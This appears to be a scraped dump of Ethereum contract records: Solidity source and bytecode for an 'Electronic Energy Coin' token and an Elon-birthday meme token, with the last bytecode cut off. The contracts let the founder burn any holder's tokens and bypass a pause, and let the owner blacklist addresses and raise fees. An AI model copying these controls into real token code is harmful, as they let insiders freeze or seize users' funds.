event Pause(); event Unpause(); bool public paused = false; address public founder; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused || msg.sender == founder); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract PausableToken is Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } //The functions below surve no real purpose. Even if one were to approve another to spend //tokens on their behalf, those tokens will still only be transferable when the token contract //is not paused. function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract MintableToken is PausableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract MyAdvancedToken is MintableToken { string public name; string public symbol; uint8 public decimals; event TokensBurned(address initiatior, address indexed _partner, uint256 _tokens); /** * @dev Constructor that gives the founder all of the existing tokens. */ constructor() public { name = "Electronic Energy Coin"; symbol = "E2C"; decimals = 18; totalSupply = 113636363e18; founder = 0x6784520Ac7fbfad578ABb5575d333A3f8739A5af; balances[msg.sender] = totalSupply; balances[founder] = 0; emit Transfer(0x0, msg.sender, totalSupply); //pause(); } modifier onlyFounder { require(msg.sender == founder); _; } event NewFounderAddress(address indexed from, address indexed to); function changeFounderAddress(address _newFounder) public onlyFounder { require(_newFounder != 0x0); emit NewFounderAddress(founder, _newFounder); founder = _newFounder; } /* * @dev Token burn function to be called at the time of token swap * @param _partner address to use for token balance buring * @param _tokens uint256 amount of tokens to burn */ function burnTokens(address _partner, uint256 _tokens) public onlyFounder { require(balances[_partner] >= _tokens); balances[_partner] = balances[_partner].sub(_tokens); totalSupply = totalSupply.sub(_tokens); emit TokensBurned(msg.sender, _partner, _tokens); } }
0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461014257806306fdde031461016b578063095ea7b3146101f55780630d1118ce1461021957806318160ddd1461023f5780632272df671461026657806323b872dd14610287578063313ce567146102b15780633f4ba83a146102dc57806340c10f19146102f15780634d853ee5146103155780635c975abb14610346578063661884631461035b57806370a082311461037f5780637d64bcb4146103a05780638456cb59146103b55780638da5cb5b146103ca57806395d89b41146103df578063a9059cbb146103f4578063b414d4b614610418578063d73dd62314610439578063dd62ed3e1461045d578063e724529c14610484578063f2fde38b146104aa575b600080fd5b34801561014e57600080fd5b506101576104cb565b604080519115158252519081900360200190f35b34801561017757600080fd5b506101806104ed565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020157600080fd5b50610157600160a060020a036004351660243561057b565b34801561022557600080fd5b5061023d600160a060020a03600435166024356105bb565b005b34801561024b57600080fd5b5061025461069c565b60408051918252519081900360200190f35b34801561027257600080fd5b5061023d600160a060020a03600435166106a2565b34801561029357600080fd5b50610157600160a060020a0360043581169060243516604435610747565b3480156102bd57600080fd5b506102c6610789565b6040805160ff9092168252519081900360200190f35b3480156102e857600080fd5b5061023d610792565b3480156102fd57600080fd5b50610157600160a060020a03600435166024356107ef565b34801561032157600080fd5b5061032a61090c565b60408051600160a060020a039092168252519081900360200190f35b34801561035257600080fd5b50610157610920565b34801561036757600080fd5b50610157600160a060020a0360043516602435610929565b34801561038b57600080fd5b50610254600160a060020a0360043516610962565b3480156103ac57600080fd5b5061015761097d565b3480156103c157600080fd5b5061023d610a26565b3480156103d657600080fd5b5061032a610aa1565b3480156103eb57600080fd5b50610180610ab0565b34801561040057600080fd5b50610157600160a060020a0360043516602435610b0b565b34801561042457600080fd5b50610157600160a060020a0360043516610b44565b34801561044557600080fd5b50610157600160a060020a0360043516602435610b59565b34801561046957600080fd5b50610254600160a060020a0360043581169060243516610b92565b34801561049057600080fd5b5061023d600160a060020a03600435166024351515610bbd565b3480156104b657600080fd5b5061023d600160a060020a0360043516610c38565b6005547501000000000000000000000000000000000000000000900460ff1681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105735780601f1061054857610100808354040283529160200191610573565b820191906000526020600020905b81548152906001019060200180831161055657829003601f168201915b505050505081565b60055460009060ff16158061059f57506005546101009004600160a060020a031633145b15156105aa57600080fd5b6105b48383610ccd565b9392505050565b6005546101009004600160a060020a031633146105d757600080fd5b600160a060020a0382166000908152600260205260409020548111156105fc57600080fd5b600160a060020a038216600090815260026020526040902054610625908263ffffffff610d6f16565b600160a060020a03831660009081526002602052604081209190915554610652908263ffffffff610d6f16565b60005560408051338152602081018390528151600160a060020a038516927f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d928290030190a25050565b60005481565b6005546101009004600160a060020a031633146106be57600080fd5b600160a060020a03811615156106d357600080fd5b600554604051600160a060020a0380841692610100900416907f0d047c5b275ad9d6a7f6a203edd17152390d220403ca3216d56ed80663eca20190600090a360058054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b60055460009060ff16158061076b57506005546101009004600160a060020a031633145b151561077657600080fd5b610781848484610d81565b949350505050565b60085460ff1681565b600154600160a060020a031633146107a957600080fd5b60055460ff1615156107ba57600080fd5b6005805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600154600090600160a060020a0316331461080957600080fd5b6005547501000000000000000000000000000000000000000000900460ff161561083257600080fd5b600054610845908363ffffffff610f2d16565b6000908155600160a060020a038416815260026020526040902054610870908363ffffffff610f2d16565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b6005546101009004600160a060020a031681565b60055460ff1681565b60055460009060ff16158061094d57506005546101009004600160a060020a031633145b151561095857600080fd5b6105b48383610f3c565b600160a060020a031660009081526002602052604090205490565b600154600090600160a060020a0316331461099757600080fd5b6005547501000000000000000000000000000000000000000000900460ff16156109c057600080fd5b6005805475ff000000000000000000000000000000000000000000191675010000000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600154600160a060020a03163314610a3d57600080fd5b60055460ff161580610a5e57506005546101009004600160a060020a031633145b1515610a6957600080fd5b6005805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600154600160a060020a031681565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105735780601f1061054857610100808354040283529160200191610573565b60055460009060ff161580610b2f57506005546101009004600160a060020a031633145b1515610b3a57600080fd5b6105b4838361102c565b60036020526000908152604090205460ff1681565b60055460009060ff161580610b7d57506005546101009004600160a060020a031633145b1515610b8857600080fd5b6105b48383611152565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600154600160a060020a03163314610bd457600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600154600160a060020a03163314610c4f57600080fd5b600160a060020a0381161515610c6457600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000811580610cfd5750336000908152600460209081526040808320600160a060020a0387168452909152902054155b1515610d0857600080fd5b336000818152600460209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600082821115610d7b57fe5b50900390565b6000600160a060020a0383161515610d9857600080fd5b600160a060020a0384166000908152600460209081526040808320338452909152902054821115610dc857600080fd5b600160a060020a038416600090815260026020526040902054821115610ded57600080fd5b600160a060020a038316600090815260026020526040902054610e16818463ffffffff610f2d16565b11610e2057600080fd5b600160a060020a038416600090815260026020526040902054610e49908363ffffffff610d6f16565b600160a060020a038086166000908152600260205260408082209390935590851681522054610e7e908363ffffffff610f2d16565b600160a060020a038085166000908152600260209081526040808320949094559187168152600482528281203382529091522054610ec2908363ffffffff610d6f16565b600160a060020a03808616600081815260046020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6000828201838110156105b457fe5b336000908152600460209081526040808320600160a060020a038616845290915281205480831115610f9157336000908152600460209081526040808320600160a060020a0388168452909152812055610fc6565b610fa1818463ffffffff610d6f16565b336000908152600460209081526040808320600160a060020a03891684529091529020555b336000818152600460209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a038316151561104357600080fd5b3360009081526002602052604090205482111561105f57600080fd5b3360009081526003602052604090205460ff161561107c57600080fd5b600160a060020a03831660009081526003602052604090205460ff16156110a257600080fd5b336000908152600260205260409020546110c2908363ffffffff610d6f16565b3360009081526002602052604080822092909255600160a060020a038516815220546110f4908363ffffffff610f2d16565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600460209081526040808320600160a060020a0386168452909152812054611186908363ffffffff610f2d16565b336000818152600460209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a3506001929150505600a165627a7a72305820dff525975cea590f5e5196a3bf2b1bcc79f6fe9df359a75753e76e9f0171fd180029
{"success": true, "error": null, "results": {}}
3,167
0x2D4e11e51a17Bbf5a64fc42092474a000fdB3b96
/* Happy Birthday to you, Elon! We have electric cars, space rockets because of you. Telegram: https://t.me/ELON50thToken */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ElonMusk is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "50th Elon's Birthday"; string private constant _symbol = "50ELON"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 19710628 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (8 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 123845 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102e0578063a9059cbb1461030f578063c3c8cd801461032f578063d543dbeb14610344578063dd62ed3e1461036457600080fd5b80636fc3eaec1461026e57806370a0823114610283578063715018a6146102a35780638da5cb5b146102b857600080fd5b806323b872dd116100dc57806323b872dd146101dd578063293230b8146101fd578063313ce567146102125780635932ead11461022e5780636b9990531461024e57600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461018957806318160ddd146101b957600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118aa565b6103aa565b005b34801561014657600080fd5b506040805180820190915260148152733530746820456c6f6e277320426972746864617960601b60208201525b60405161018091906119ee565b60405180910390f35b34801561019557600080fd5b506101a96101a436600461187f565b610457565b6040519015158152602001610180565b3480156101c557600080fd5b50664606b6343d68005b604051908152602001610180565b3480156101e957600080fd5b506101a96101f836600461183f565b61046e565b34801561020957600080fd5b506101386104d7565b34801561021e57600080fd5b5060405160098152602001610180565b34801561023a57600080fd5b50610138610249366004611971565b610896565b34801561025a57600080fd5b506101386102693660046117cf565b6108de565b34801561027a57600080fd5b50610138610929565b34801561028f57600080fd5b506101cf61029e3660046117cf565b610956565b3480156102af57600080fd5b50610138610978565b3480156102c457600080fd5b506000546040516001600160a01b039091168152602001610180565b3480156102ec57600080fd5b506040805180820190915260068152651a9822a627a760d11b6020820152610173565b34801561031b57600080fd5b506101a961032a36600461187f565b6109ec565b34801561033b57600080fd5b506101386109f9565b34801561035057600080fd5b5061013861035f3660046119a9565b610a2f565b34801561037057600080fd5b506101cf61037f366004611807565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103dd5760405162461bcd60e51b81526004016103d490611a41565b60405180910390fd5b60005b8151811015610453576001600a600084848151811061040f57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044b81611b54565b9150506103e0565b5050565b6000610464338484610b00565b5060015b92915050565b600061047b848484610c24565b6104cd84336104c885604051806060016040528060288152602001611bbf602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611036565b610b00565b5060019392505050565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016103d490611a41565b600f54600160a01b900460ff161561055b5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103d4565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105963082664606b6343d6800610b00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105cf57600080fd5b505afa1580156105e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060791906117eb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064f57600080fd5b505afa158015610663573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068791906117eb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106cf57600080fd5b505af11580156106e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070791906117eb565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061073781610956565b60008061074c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107af57600080fd5b505af11580156107c3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e891906119c1565b5050600f80546570a2e93b720060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085e57600080fd5b505af1158015610872573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610453919061198d565b6000546001600160a01b031633146108c05760405162461bcd60e51b81526004016103d490611a41565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109085760405162461bcd60e51b81526004016103d490611a41565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094957600080fd5b4761095381611070565b50565b6001600160a01b038116600090815260026020526040812054610468906110f5565b6000546001600160a01b031633146109a25760405162461bcd60e51b81526004016103d490611a41565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610464338484610c24565b600c546001600160a01b0316336001600160a01b031614610a1957600080fd5b6000610a2430610956565b905061095381611179565b6000546001600160a01b03163314610a595760405162461bcd60e51b81526004016103d490611a41565b60008111610aa95760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103d4565b610ac56064610abf664606b6343d68008461131e565b9061139d565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d4565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d4565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d4565b60008111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d4565b6000546001600160a01b03848116911614801590610d7857506000546001600160a01b03838116911614155b15610fd957600f54600160b81b900460ff1615610e5f576001600160a01b0383163014801590610db157506001600160a01b0382163014155b8015610dcb5750600e546001600160a01b03848116911614155b8015610de55750600e546001600160a01b03838116911614155b15610e5f57600e546001600160a01b0316336001600160a01b03161480610e1f5750600f546001600160a01b0316336001600160a01b0316145b610e5f5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103d4565b601054811115610e6e57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb057506001600160a01b0382166000908152600a602052604090205460ff16155b610eb957600080fd5b600f546001600160a01b038481169116148015610ee45750600e546001600160a01b03838116911614155b8015610f0957506001600160a01b03821660009081526005602052604090205460ff16155b8015610f1e5750600f54600160b81b900460ff165b15610f6c576001600160a01b0382166000908152600b60205260409020544211610f4757600080fd5b610f52426008611ae6565b6001600160a01b0383166000908152600b60205260409020555b6000610f7730610956565b600f54909150600160a81b900460ff16158015610fa25750600f546001600160a01b03858116911614155b8015610fb75750600f54600160b01b900460ff165b15610fd757610fc581611179565b478015610fd557610fd547611070565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101b57506001600160a01b03831660009081526005602052604090205460ff165b15611024575060005b611030848484846113df565b50505050565b6000818484111561105a5760405162461bcd60e51b81526004016103d491906119ee565b5060006110678486611b3d565b95945050505050565b600c546001600160a01b03166108fc61108a83600261139d565b6040518115909202916000818181858888f193505050501580156110b2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110cd83600261139d565b6040518115909202916000818181858888f19350505050158015610453573d6000803e3d6000fd5b600060065482111561115c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103d4565b600061116661140b565b9050611172838261139d565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122357600080fd5b505afa158015611237573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125b91906117eb565b8160018151811061127c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a29130911684610b00565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112db908590600090869030904290600401611a76565b600060405180830381600087803b1580156112f557600080fd5b505af1158015611309573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261132d57506000610468565b60006113398385611b1e565b9050826113468583611afe565b146111725760405162461bcd60e51b